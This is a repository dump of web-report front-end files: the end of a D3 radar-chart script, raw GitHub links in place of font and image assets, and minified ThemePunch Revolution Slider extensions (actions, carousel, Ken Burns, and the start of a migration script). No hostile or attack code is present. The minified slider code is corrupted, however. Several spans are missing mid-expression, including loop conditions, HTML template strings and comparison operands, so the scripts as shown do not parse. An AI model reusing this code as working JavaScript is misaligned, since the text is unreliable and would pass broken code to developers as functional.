208 |
209 | //Append a set of invisible circles on top for the mouseover pop-up
210 | blobCircleWrapper.selectAll(".radarInvisibleCircle")
211 | .data(function(d,i) { return d; })
212 | .enter().append("circle")
213 | .attr("class", "radarInvisibleCircle")
214 | .attr("r", cfg.dotRadius*1.5)
215 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); })
216 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); })
217 | .style("fill", "none")
218 | .style("pointer-events", "all")
219 | .on("mouseover", function(d,i) {
220 | newX = parseFloat(d3.select(this).attr('cx')) - 10;
221 | newY = parseFloat(d3.select(this).attr('cy')) - 10;
222 |
223 | tooltip
224 | .attr('x', newX)
225 | .attr('y', newY)
226 | .text(Format(d.value))
227 | .transition().duration(200)
228 | .style('opacity', 1);
229 | })
230 | .on("mouseout", function(){
231 | tooltip.transition().duration(200)
232 | .style("opacity", 0);
233 | });
234 |
235 | //Set up the small tooltip for when you hover over a circle
236 | var tooltip = g.append("text")
237 | .attr("class", "tooltip")
238 | .style("opacity", 0);
239 |
240 | /////////////////////////////////////////////////////////
241 | /////////////////// Helper Function /////////////////////
242 | /////////////////////////////////////////////////////////
243 |
244 | //Taken from http://bl.ocks.org/mbostock/7555321
245 | //Wraps SVG text
246 | function wrap(text, width) {
247 | text.each(function() {
248 | var text = d3.select(this),
249 | words = text.text().split(/\s+/).reverse(),
250 | word,
251 | line = [],
252 | lineNumber = 0,
253 | lineHeight = 1.4, // ems
254 | y = text.attr("y"),
255 | x = text.attr("x"),
256 | dy = parseFloat(text.attr("dy")),
257 | tspan = text.text(null).append("tspan").attr("x", x).attr("y", y).attr("dy", dy + "em");
258 |
259 | while (word = words.pop()) {
260 | line.push(word);
261 | tspan.text(line.join(" "));
262 | if (tspan.node().getComputedTextLength() > width) {
263 | line.pop();
264 | tspan.text(line.join(" "));
265 | line = [word];
266 | tspan = text.append("tspan").attr("x", x).attr("y", y).attr("dy", ++lineNumber * lineHeight + dy + "em").text(word);
267 | }
268 | }
269 | });
270 | }//wrap
271 |
272 | }//RadarChart
--------------------------------------------------------------------------------
/report/js/revolution/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/.DS_Store
--------------------------------------------------------------------------------
/report/js/revolution/assets/coloredbg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/coloredbg.png
--------------------------------------------------------------------------------
/report/js/revolution/assets/gridtile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile.png
--------------------------------------------------------------------------------
/report/js/revolution/assets/gridtile_3x3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_3x3.png
--------------------------------------------------------------------------------
/report/js/revolution/assets/gridtile_3x3_white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_3x3_white.png
--------------------------------------------------------------------------------
/report/js/revolution/assets/gridtile_white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/gridtile_white.png
--------------------------------------------------------------------------------
/report/js/revolution/assets/loader.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/assets/loader.gif
--------------------------------------------------------------------------------
/report/js/revolution/css/closedhand.html:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/css/closedhand.html
--------------------------------------------------------------------------------
/report/js/revolution/css/openhand.html:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/css/openhand.html
--------------------------------------------------------------------------------
/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.eot
--------------------------------------------------------------------------------
/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.ttf
--------------------------------------------------------------------------------
/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-strokebb1d.woff
--------------------------------------------------------------------------------
/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroked41d.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroked41d.eot
--------------------------------------------------------------------------------
/report/js/revolution/fonts/revicons/revicons90c6.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.eot
--------------------------------------------------------------------------------
/report/js/revolution/fonts/revicons/revicons90c6.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.ttf
--------------------------------------------------------------------------------
/report/js/revolution/fonts/revicons/revicons90c6.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/fonts/revicons/revicons90c6.woff
--------------------------------------------------------------------------------
/report/js/revolution/js/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/js/revolution/js/.DS_Store
--------------------------------------------------------------------------------
/report/js/revolution/js/extensions/revolution.extension.actions.min.js:
--------------------------------------------------------------------------------
1 | /********************************************
2 | * REVOLUTION 5.3 EXTENSION - ACTIONS
3 | * @version: 2.0.6 (15.12.2016)
4 | * @requires jquery.themepunch.revolution.js
5 | * @author ThemePunch
6 | *********************************************/
7 | !function($){"use strict";function getScrollRoot(){var d,a=document.documentElement,b=document.body,c=("undefined"!=typeof window.pageYOffset?window.pageYOffset:null)||b.scrollTop||a.scrollTop;return a.scrollTop=b.scrollTop=c+(c>0)?-1:1,d=a.scrollTop!==c?a:b,d.scrollTop=c,d}var _R=jQuery.fn.revolution,_ISM=_R.is_mobile(),extension={alias:"Actions Min JS",name:"revolution.extensions.actions.min.js",min_core:"5.3",version:"2.0.6"};jQuery.extend(!0,_R,{checkActions:function(a,b,c){return"stop"!==_R.compare_version(extension).check&&void checkActions_intern(a,b,c)}});var checkActions_intern=function(a,b,c){c&&jQuery.each(c,function(c,d){d.delay=parseInt(d.delay,0)/1e3,a.addClass("tp-withaction"),b.fullscreen_esclistener||"exitfullscreen"!=d.action&&"togglefullscreen"!=d.action||(jQuery(document).keyup(function(b){27==b.keyCode&&jQuery("#rs-go-fullscreen").length>0&&a.trigger(d.event)}),b.fullscreen_esclistener=!0);var e="backgroundvideo"==d.layer?jQuery(".rs-background-video-layer"):"firstvideo"==d.layer?jQuery(".tp-revslider-slidesli").find(".tp-videolayer"):jQuery("#"+d.layer);switch(jQuery.inArray(d.action,["toggleslider","toggle_mute_video","toggle_global_mute_video","togglefullscreen"])!=-1&&a.data("togglelisteners",!0),d.action){case"togglevideo":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videotoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videotoggledby",d)});break;case"togglelayer":jQuery.each(e,function(b,c){c=jQuery(c);var e=c.data("layertoggledby");void 0==e&&(e=new Array),e.push(a),c.data("layertoggledby",e),c.data("triggered_startstatus",d.layerstatus)});break;case"toggle_mute_video":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videomutetoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videomutetoggledby",d)});break;case"toggle_global_mute_video":jQuery.each(e,function(b,c){c=jQuery(c);var d=c.data("videomutetoggledby");void 0==d&&(d=new Array),d.push(a),c.data("videomutetoggledby",d)});break;case"toggleslider":void 0==b.slidertoggledby&&(b.slidertoggledby=new Array),b.slidertoggledby.push(a);break;case"togglefullscreen":void 0==b.fullscreentoggledby&&(b.fullscreentoggledby=new Array),b.fullscreentoggledby.push(a)}switch(a.on(d.event,function(){if("click"===d.event&&a.hasClass("tp-temporarydisabled"))return!1;var c="backgroundvideo"==d.layer?jQuery(".active-revslide .slotholder .rs-background-video-layer"):"firstvideo"==d.layer?jQuery(".active-revslide .tp-videolayer").first():jQuery("#"+d.layer);if("stoplayer"==d.action||"togglelayer"==d.action||"startlayer"==d.action){if(c.length>0){var e=c.data();void 0!==e.clicked_time_stamp&&(new Date).getTime()-e.clicked_time_stamp>150&&(clearTimeout(e.triggerdelayIn),clearTimeout(e.triggerdelayOut)),e.clicked_time_stamp=(new Date).getTime(),"startlayer"==d.action||"togglelayer"==d.action&&"in"!=c.data("animdirection")?(e.animdirection="in",e.triggerstate="on",_R.toggleState(e.layertoggledby),_R.playAnimationFrame&&(clearTimeout(e.triggerdelayIn),e.triggerdelayIn=setTimeout(function(){_R.playAnimationFrame({caption:c,opt:b,frame:"frame_0",triggerdirection:"in",triggerframein:"frame_0",triggerframeout:"frame_999"})},1e3*d.delay))):("stoplayer"==d.action||"togglelayer"==d.action&&"out"!=c.data("animdirection"))&&(e.animdirection="out",e.triggered=!0,e.triggerstate="off",_R.stopVideo&&_R.stopVideo(c,b),_R.unToggleState(e.layertoggledby),_R.endMoveCaption&&(clearTimeout(e.triggerdelayOut),e.triggerdelayOut=setTimeout(function(){_R.playAnimationFrame({caption:c,opt:b,frame:"frame_999",triggerdirection:"out",triggerframein:"frame_0",triggerframeout:"frame_999"})},1e3*d.delay)))}}else!_ISM||"playvideo"!=d.action&&"stopvideo"!=d.action&&"togglevideo"!=d.action&&"mutevideo"!=d.action&&"unmutevideo"!=d.action&&"toggle_mute_video"!=d.action&&"toggle_global_mute_video"!=d.action?(d.delay="NaN"===d.delay||NaN===d.delay?0:d.delay,punchgs.TweenLite.delayedCall(d.delay,function(){actionSwitches(c,b,d,a)},[c,b,d,a])):actionSwitches(c,b,d,a)}),d.action){case"togglelayer":case"startlayer":case"playlayer":case"stoplayer":var e=jQuery("#"+d.layer),f=e.data();e.length>0&&void 0!==f&&(void 0!==f.frames&&"bytrigger"!=f.frames[0].delay||void 0===f.frames&&"bytrigger"!==f.start)&&(f.triggerstate="on")}})},actionSwitches=function(tnc,opt,a,_nc){switch(a.action){case"scrollbelow":a.speed=void 0!==a.speed?a.speed:400,a.ease=void 0!==a.ease?a.ease:punchgs.Power2.easeOut,_nc.addClass("tp-scrollbelowslider"),_nc.data("scrolloffset",a.offset),_nc.data("scrolldelay",a.delay),_nc.data("scrollspeed",a.speed),_nc.data("scrollease",a.ease);var off=getOffContH(opt.fullScreenOffsetContainer)||0,aof=parseInt(a.offset,0)||0;off=off-aof||0,opt.scrollRoot=void 0===opt.scrollRoot?getScrollRoot():opt.scrollRoot;var sobj={_y:opt.scrollRoot.scrollTop};punchgs.TweenLite.to(sobj,a.speed/1e3,{_y:opt.c.offset().top+jQuery(opt.li[0]).height()-off,ease:a.ease,onUpdate:function(){opt.scrollRoot.scrollTop=sobj._y}});break;case"callback":eval(a.callback);break;case"jumptoslide":switch(a.slide.toLowerCase()){case"+1":case"next":opt.sc_indicator="arrow",_R.callingNewSlide(opt.c,1);break;case"previous":case"prev":case"-1":opt.sc_indicator="arrow",_R.callingNewSlide(opt.c,-1);break;default:var ts=jQuery.isNumeric(a.slide)?parseInt(a.slide,0):a.slide;_R.callingNewSlide(opt.c,ts)}break;case"simplelink":window.open(a.url,a.target);break;case"toggleslider":opt.noloopanymore=0,"playing"==opt.sliderstatus?(opt.c.revpause(),opt.forcepause_viatoggle=!0,_R.unToggleState(opt.slidertoggledby)):(opt.forcepause_viatoggle=!1,opt.c.revresume(),_R.toggleState(opt.slidertoggledby));break;case"pauseslider":opt.c.revpause(),_R.unToggleState(opt.slidertoggledby);break;case"playslider":opt.noloopanymore=0,opt.c.revresume(),_R.toggleState(opt.slidertoggledby);break;case"playvideo":tnc.length>0&&_R.playVideo(tnc,opt);break;case"stopvideo":tnc.length>0&&_R.stopVideo&&_R.stopVideo(tnc,opt);break;case"togglevideo":tnc.length>0&&(_R.isVideoPlaying(tnc,opt)?_R.stopVideo&&_R.stopVideo(tnc,opt):_R.playVideo(tnc,opt));break;case"mutevideo":tnc.length>0&&_R.muteVideo(tnc,opt);break;case"unmutevideo":tnc.length>0&&_R.unMuteVideo&&_R.unMuteVideo(tnc,opt);break;case"toggle_mute_video":tnc.length>0&&(_R.isVideoMuted(tnc,opt)?_R.unMuteVideo(tnc,opt):_R.muteVideo&&_R.muteVideo(tnc,opt)),_nc.toggleClass("rs-toggle-content-active");break;case"toggle_global_mute_video":opt.globalmute===!0?(opt.globalmute=!1,void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.unMuteVideo&&_R.unMuteVideo(b,opt)})):(opt.globalmute=!0,void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.muteVideo&&_R.muteVideo(b,opt)})),_nc.toggleClass("rs-toggle-content-active");break;case"simulateclick":tnc.length>0&&tnc.click();break;case"toggleclass":tnc.length>0&&(tnc.hasClass(a.classname)?tnc.removeClass(a.classname):tnc.addClass(a.classname));break;case"gofullscreen":case"exitfullscreen":case"togglefullscreen":if(jQuery("#rs-go-fullscreen").length>0&&("togglefullscreen"==a.action||"exitfullscreen"==a.action)){jQuery("#rs-go-fullscreen").appendTo(jQuery("#rs-was-here"));var paw=opt.c.closest(".forcefullwidth_wrapper_tp_banner").length>0?opt.c.closest(".forcefullwidth_wrapper_tp_banner"):opt.c.closest(".rev_slider_wrapper");paw.unwrap(),paw.unwrap(),opt.minHeight=opt.oldminheight,opt.infullscreenmode=!1,opt.c.revredraw(),void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.playVideo(b,opt)}),_R.unToggleState(opt.fullscreentoggledby)}else if(0==jQuery("#rs-go-fullscreen").length&&("togglefullscreen"==a.action||"gofullscreen"==a.action)){var paw=opt.c.closest(".forcefullwidth_wrapper_tp_banner").length>0?opt.c.closest(".forcefullwidth_wrapper_tp_banner"):opt.c.closest(".rev_slider_wrapper");paw.wrap('
');var gf=jQuery("#rs-go-fullscreen");gf.appendTo(jQuery("body")),gf.css({position:"fixed",width:"100%",height:"100%",top:"0px",left:"0px",zIndex:"9999999",background:"#ffffff"}),opt.oldminheight=opt.minHeight,opt.minHeight=jQuery(window).height(),opt.infullscreenmode=!0,opt.c.revredraw(),void 0!=opt.playingvideos&&opt.playingvideos.length>0&&jQuery.each(opt.playingvideos,function(a,b){_R.playVideo(b,opt)}),_R.toggleState(opt.fullscreentoggledby)}break;default:var obj={};obj.event=a,obj.layer=_nc,opt.c.trigger("layeraction",[obj])}},getOffContH=function(a){if(void 0==a)return 0;if(a.split(",").length>1){var b=a.split(","),c=0;return b&&jQuery.each(b,function(a,b){jQuery(b).length>0&&(c+=jQuery(b).outerHeight(!0))}),c}return jQuery(a).height()}}(jQuery);
--------------------------------------------------------------------------------
/report/js/revolution/js/extensions/revolution.extension.carousel.min.js:
--------------------------------------------------------------------------------
1 | /********************************************
2 | * REVOLUTION 5.0 EXTENSION - CAROUSEL
3 | * @version: 1.2.1 (18.11.2016)
4 | * @requires jquery.themepunch.revolution.js
5 | * @author ThemePunch
6 | *********************************************/
7 | !function(a){"use strict";var b=jQuery.fn.revolution,c={alias:"Carousel Min JS",name:"revolution.extensions.carousel.min.js",min_core:"5.3.0",version:"1.2.1"};jQuery.extend(!0,b,{prepareCarousel:function(a,d,h,i){return"stop"!==b.compare_version(c).check&&(h=a.carousel.lastdirection=f(h,a.carousel.lastdirection),e(a),a.carousel.slide_offset_target=j(a),void(void 0!==i?g(a,h,!1,0):void 0==d?b.carouselToEvalPosition(a,h):g(a,h,!1)))},carouselToEvalPosition:function(a,c){var d=a.carousel;c=d.lastdirection=f(c,d.lastdirection);var e="center"===d.horizontal_align?(d.wrapwidth/2-d.slide_width/2-d.slide_globaloffset)/d.slide_width:(0-d.slide_globaloffset)/d.slide_width,h=b.simp(e,a.slideamount,!1),i=h-Math.floor(h),j=0,k=-1*(Math.ceil(h)-h),l=-1*(Math.floor(h)-h);j=i>=.3&&"left"===c||i>=.7&&"right"===c?k:i<.3&&"left"===c||i<.7&&"right"===c?l:j,j="off"===d.infinity?h<0?h:e>a.slideamount-1?e-(a.slideamount-1):j:j,d.slide_offset_target=j*d.slide_width,0!==Math.abs(d.slide_offset_target)?g(a,c,!0):b.organiseCarousel(a,c)},organiseCarousel:function(a,b,c,d){b=void 0===b||"down"==b||"up"==b||null===b||jQuery.isEmptyObject(b)?"left":b;for(var e=a.carousel,f=new Array,g=e.slides.length,i=("right"===e.horizontal_align?a.width:0,0);i
e.wrapwidth-e.inneroffset&&"right"==b?e.slide_offset-(e.slides.length-i)*e.slide_width:j,j=j<0-e.inneroffset-e.slide_width&&"left"==b?j+e.maxwidth:j),f[i]=j}var k=999;e.slides&&jQuery.each(e.slides,function(d,h){var i=f[d];"on"===e.infinity&&(i=i>e.wrapwidth-e.inneroffset&&"left"===b?f[0]-(g-d)*e.slide_width:i,i=i<0-e.inneroffset-e.slide_width?"left"==b?i+e.maxwidth:"right"===b?f[g-1]+(d+1)*e.slide_width:i:i);var j=new Object;j.left=i+e.inneroffset;var l="center"===e.horizontal_align?(Math.abs(e.wrapwidth/2)-(j.left+e.slide_width/2))/e.slide_width:(e.inneroffset-j.left)/e.slide_width,n="center"===e.horizontal_align?2:1;if((c&&Math.abs(l)0?1-l:Math.abs(l)>e.maxVisibleItems-1?1-(Math.abs(l)-(e.maxVisibleItems-1)):1;break;case"right":j.autoAlpha=l>-1&&l<0?1-Math.abs(l):l>e.maxVisibleItems-1?1-(Math.abs(l)-(e.maxVisibleItems-1)):1}else j.autoAlpha=Math.abs(l)0)if("on"===e.vary_scale){j.scale=1-Math.abs(e.minScale/100/Math.ceil(e.maxVisibleItems/n)*l);var o=(e.slide_width-e.slide_width*j.scale)*Math.abs(l)}else{j.scale=l>=1||l<=-1?1-e.minScale/100:(100-e.minScale*Math.abs(l))/100;var o=(e.slide_width-e.slide_width*(1-e.minScale/100))*Math.abs(l)}void 0!==e.maxRotation&&0!=Math.abs(e.maxRotation)&&("on"===e.vary_rotation?(j.rotationY=Math.abs(e.maxRotation)-Math.abs((1-Math.abs(1/Math.ceil(e.maxVisibleItems/n)*l))*e.maxRotation),j.autoAlpha=Math.abs(j.rotationY)>90?0:j.autoAlpha):j.rotationY=l>=1||l<=-1?e.maxRotation:Math.abs(l)*e.maxRotation,j.rotationY=l<0?j.rotationY*-1:j.rotationY),j.x=-1*e.space*l,j.left=Math.floor(j.left),j.x=Math.floor(j.x),void 0!==j.scale?l<0?j.x-o:j.x+o:j.x,j.zIndex=Math.round(100-Math.abs(5*l)),j.transformStyle="3D"!=a.parallax.type&&"3d"!=a.parallax.type?"flat":"preserve-3d",punchgs.TweenLite.set(h,j)}),d&&(a.c.find(".next-revslide").removeClass("next-revslide"),jQuery(e.slides[e.focused]).addClass("next-revslide"),a.c.trigger("revolution.nextslide.waiting"));e.wrapwidth/2-e.slide_offset,e.maxwidth+e.slide_offset-e.wrapwidth/2}});var d=function(a){var b=a.carousel;b.infbackup=b.infinity,b.maxVisiblebackup=b.maxVisibleItems,b.slide_globaloffset="none",b.slide_offset=0,b.wrap=a.c.find(".tp-carousel-wrapper"),b.slides=a.c.find(".tp-revslider-slidesli"),0!==b.maxRotation&&("3D"!=a.parallax.type&&"3d"!=a.parallax.type?punchgs.TweenLite.set(b.wrap,{perspective:1200,transformStyle:"flat"}):punchgs.TweenLite.set(b.wrap,{perspective:1600,transformStyle:"preserve-3d"})),void 0!==b.border_radius&&parseInt(b.border_radius,0)>0&&punchgs.TweenLite.set(a.c.find(".tp-revslider-slidesli"),{borderRadius:b.border_radius})},e=function(a){void 0===a.bw&&b.setSize(a);var c=a.carousel,e=b.getHorizontalOffset(a.c,"left"),f=b.getHorizontalOffset(a.c,"right");void 0===c.wrap&&d(a),c.slide_width="on"!==c.stretch?a.gridwidth[a.curWinRange]*a.bw:a.c.width(),c.maxwidth=a.slideamount*c.slide_width,c.maxVisiblebackup>c.slides.length+1&&(c.maxVisibleItems=c.slides.length+2),c.wrapwidth=c.maxVisibleItems*c.slide_width+(c.maxVisibleItems-1)*c.space,c.wrapwidth="auto"!=a.sliderLayout?c.wrapwidth>a.c.closest(".tp-simpleresponsive").width()?a.c.closest(".tp-simpleresponsive").width():c.wrapwidth:c.wrapwidth>a.ul.width()?a.ul.width():c.wrapwidth,c.infinity=c.wrapwidth>=c.maxwidth?"off":c.infbackup,c.wrapoffset="center"===c.horizontal_align?(a.c.width()-f-e-c.wrapwidth)/2:0,c.wrapoffset="auto"!=a.sliderLayout&&a.outernav?0:c.wrapoffsetMath.abs(b)?a>0?a-Math.abs(Math.floor(a/b)*b):a+Math.abs(Math.floor(a/b)*b):a},i=function(a,b,c){var c,c,d=b-a,e=b-c-a;return d=h(d,c),e=h(e,c),Math.abs(d)>Math.abs(e)?e:d},j=function(a){var c=0,d=a.carousel;if(void 0!==d.positionanim&&d.positionanim.kill(),"none"==d.slide_globaloffset)d.slide_globaloffset=c="center"===d.horizontal_align?d.wrapwidth/2-d.slide_width/2:0;else{d.slide_globaloffset=d.slide_offset,d.slide_offset=0;var e=a.c.find(".processing-revslide").index(),f="center"===d.horizontal_align?(d.wrapwidth/2-d.slide_width/2-d.slide_globaloffset)/d.slide_width:(0-d.slide_globaloffset)/d.slide_width;f=b.simp(f,a.slideamount,!1),e=e>=0?e:a.c.find(".active-revslide").index(),e=e>=0?e:0,c="off"===d.infinity?f-e:-i(f,e,a.slideamount),c*=d.slide_width}return c}}(jQuery);
--------------------------------------------------------------------------------
/report/js/revolution/js/extensions/revolution.extension.kenburn.min.js:
--------------------------------------------------------------------------------
1 | /********************************************
2 | * REVOLUTION 5.0 EXTENSION - KEN BURN
3 | * @version: 1.2 (2.11.2016)
4 | * @requires jquery.themepunch.revolution.js
5 | * @author ThemePunch
6 | *********************************************/
7 | !function(a){"use strict";var b=jQuery.fn.revolution,c={alias:"KenBurns Min JS",name:"revolution.extensions.kenburn.min.js",min_core:"5.0",version:"1.2.0"};jQuery.extend(!0,b,{stopKenBurn:function(a){return"stop"!==b.compare_version(c).check&&void(void 0!=a.data("kbtl")&&a.data("kbtl").pause())},startKenBurn:function(a,d,e){if("stop"===b.compare_version(c).check)return!1;var f=a.data(),g=a.find(".defaultimg"),h=g.data("lazyload")||g.data("src"),j=(f.owidth/f.oheight,"carousel"===d.sliderType?d.carousel.slide_width:d.ul.width()),k=d.ul.height();a.data("kbtl")&&a.data("kbtl").kill(),e=e||0,0==a.find(".tp-kbimg").length&&(a.append('
'),a.data("kenburn",a.find(".tp-kbimg")));var m=function(a,b,c,d,e,f,g){var h=a*c,i=b*c,j=Math.abs(d-h),k=Math.abs(e-i),l=new Object;return l.l=(0-f)*j,l.r=l.l+h,l.t=(0-g)*k,l.b=l.t+i,l.h=f,l.v=g,l},n=function(a,b,c,d,e){var f=a.bgposition.split(" ")||"center center",g="center"==f[0]?"50%":"left"==f[0]||"left"==f[1]?"0%":"right"==f[0]||"right"==f[1]?"100%":f[0],h="center"==f[1]?"50%":"top"==f[0]||"top"==f[1]?"0%":"bottom"==f[0]||"bottom"==f[1]?"100%":f[1];g=parseInt(g,0)/100||0,h=parseInt(h,0)/100||0;var i=new Object;return i.start=m(e.start.width,e.start.height,e.start.scale,b,c,g,h),i.end=m(e.start.width,e.start.height,e.end.scale,b,c,g,h),i},o=function(a,b,c){var d=c.scalestart/100,e=c.scaleend/100,f=void 0!=c.offsetstart?c.offsetstart.split(" ")||[0,0]:[0,0],g=void 0!=c.offsetend?c.offsetend.split(" ")||[0,0]:[0,0];c.bgposition="center center"==c.bgposition?"50% 50%":c.bgposition;var h=new Object,i=a*d,k=(i/c.owidth*c.oheight,a*e);k/c.owidth*c.oheight;if(h.start=new Object,h.starto=new Object,h.end=new Object,h.endo=new Object,h.start.width=a,h.start.height=h.start.width/c.owidth*c.oheight,h.start.height0?0:p+f[0]0?0:r+g[0]0?0:q+f[1]0?0:s+g[1]0?!0:!1,e.hide_delay=t.hideThumbs>0?t.hideThumbs:200,e.hide_delay_mobile=t.hideNavDelayOnMobile||1500,e.hide_under=0,e.tmp="",e.left={h_align:t.soloArrowLeftHalign,v_align:t.soloArrowLeftValign,h_offset:t.soloArrowLeftHOffset,v_offset:t.soloArrowLeftVOffset},e.right={h_align:t.soloArrowRightHalign,v_align:t.soloArrowRightValign,h_offset:t.soloArrowRightHOffset,v_offset:t.soloArrowRightVOffset},o.arrows=e}if("bullet"==t.navigationType){var r=new Object;r.style=t.navigationStyle||"",r.enable=!0,r.hide_onmobile="on"===t.hideArrowsOnMobile?!0:!1,r.hide_onleave=t.hideThumbs>0?!0:!1,r.hide_delay=t.hideThumbs>0?t.hideThumbs:200,r.hide_delay_mobile=t.hideNavDelayOnMobile||1500,r.hide_under=0,r.direction="horizontal",r.h_align=t.navigationHAlign||"center",r.v_align=t.navigationVAlign||"bottom",r.space=5,r.h_offset=t.navigationHOffset||0,r.v_offset=t.navigationVOffset||20,r.tmp='',o.bullets=r}if("thumb"==t.navigationType){var i=new Object;i.style=t.navigationStyle||"",i.enable=!0,i.width=t.thumbWidth||100,i.height=t.thumbHeight||50,i.min_width=t.thumbWidth||100,i.wrapper_padding=2,i.wrapper_color="#f5f5f5",i.wrapper_opacity=1,i.visibleAmount=t.thumbAmount||3,i.hide_onmobile="on"===t.hideArrowsOnMobile?!0:!1,i.hide_onleave=t.hideThumbs>0?!0:!1,i.hide_delay=t.hideThumbs>0?t.hideThumbs:200,i.hide_delay_mobile=t.hideNavDelayOnMobile||1500,i.hide_under=0,i.direction="horizontal",i.span=!1,i.position="inner",i.space=2,i.h_align=t.navigationHAlign||"center",i.v_align=t.navigationVAlign||"bottom",i.h_offset=t.navigationHOffset||0,i.v_offset=t.navigationVOffset||20,i.tmp='',o.thumbnails=i}t.navigation=o,t.navigation.keyboardNavigation=t.keyboardNavigation||"on",t.navigation.onHoverStop=t.onHoverStop||"on",t.navigation.touch={touchenabled:t.touchenabled||"on",swipe_treshold:t.swipe_treshold||75,swipe_min_touches:t.swipe_min_touches||1,drag_block_vertical:t.drag_block_vertical||!1}}return void 0==t.fallbacks&&(t.fallbacks={isJoomla:t.isJoomla||!1,panZoomDisableOnMobile:t.parallaxDisableOnMobile||"off",simplifyAll:t.simplifyAll||"on",nextSlideOnWindowFocus:t.nextSlideOnWindowFocus||"off",disableFocusListener:t.disableFocusListener||!0}),t},e=function(t,a){var o=new Object,e=t.width(),r=t.height();o.skewfromleftshort="x:-50;skX:85;o:0",o.skewfromrightshort="x:50;skX:-85;o:0",o.sfl="x:-50;o:0",o.sfr="x:50;o:0",o.sft="y:-50;o:0",o.sfb="y:50;o:0",o.skewfromleft="x:top;skX:85;o:0",o.skewfromright="x:bottom;skX:-85;o:0",o.lfl="x:top;o:0",o.lfr="x:bottom;o:0",o.lft="y:left;o:0",o.lfb="y:right;o:0",o.fade="o:0";720*Math.random()-360;t.find(".tp-caption").each(function(){var t=jQuery(this),a=(Math.random()*(2*e)-e,Math.random()*(2*r)-r,3*Math.random(),720*Math.random()-360,70*Math.random()-35,70*Math.random()-35,t.attr("class"));o.randomrotate="x:{-400,400};y:{-400,400};sX:{0,2};sY:{0,2};rZ:{-180,180};rX:{-180,180};rY:{-180,180};o:0;",a.match("randomrotate")?t.data("transform_in",o.randomrotate):a.match(/\blfl\b/)?t.data("transform_in",o.lfl):a.match(/\blfr\b/)?t.data("transform_in",o.lfr):a.match(/\blft\b/)?t.data("transform_in",o.lft):a.match(/\blfb\b/)?t.data("transform_in",o.lfb):a.match(/\bsfl\b/)?t.data("transform_in",o.sfl):a.match(/\bsfr\b/)?t.data("transform_in",o.sfr):a.match(/\bsft\b/)?t.data("transform_in",o.sft):a.match(/\bsfb\b/)?t.data("transform_in",o.sfb):a.match(/\bskewfromleftshort\b/)?t.data("transform_in",o.skewfromleftshort):a.match(/\bskewfromrightshort\b/)?t.data("transform_in",o.skewfromrightshort):a.match(/\bskewfromleft\b/)?t.data("transform_in",o.skewfromleft):a.match(/\bskewfromright\b/)?t.data("transform_in",o.skewfromright):a.match(/\bfade\b/)&&t.data("transform_in",o.fade),a.match(